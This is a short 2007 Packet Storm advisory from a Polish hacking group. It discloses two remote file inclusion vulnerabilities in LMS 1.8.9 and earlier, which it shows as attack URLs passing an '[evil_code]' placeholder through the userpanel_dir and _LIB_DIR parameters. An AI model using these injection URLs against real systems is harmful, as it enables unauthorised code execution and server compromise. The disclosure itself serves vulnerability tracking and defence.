lms-rfi.txt

2007-03-24T00:00:00
ID PACKETSTORM:55324
Type packetstorm
Reporter Kacper
Modified 2007-03-24T00:00:00

Description

                                        
                                            `DEVIL TEAM - HACKING POLISH TEAM  
  
Author: Kacper  
Contact: kacper1964@yahoo.pl  
Homepage: http://www.rahim.webd.pl/  
Irc: irc.milw0rm.com:6667 #devilteam   
--------------------------------------------  
Pozdro dla wszystkich z kanalu IRC oraz forum DEVIL TEAM.  
  
  
LMS <= 1.8.9 Vala Remote File Inclusion Vulnerabilities  
script download/homepage: http://www.lms.org.pl/  
  
  
--------------------------------------------  
Vulnerabilities:  
  
http://strona.pl/lms_path/modules/userpanel.php?CONFIG[directories][userpanel_dir]=[evil_code]  
http://strona.pl/lms_path/modules/welcome.php?_LIB_DIR=[evil_code]  
  
`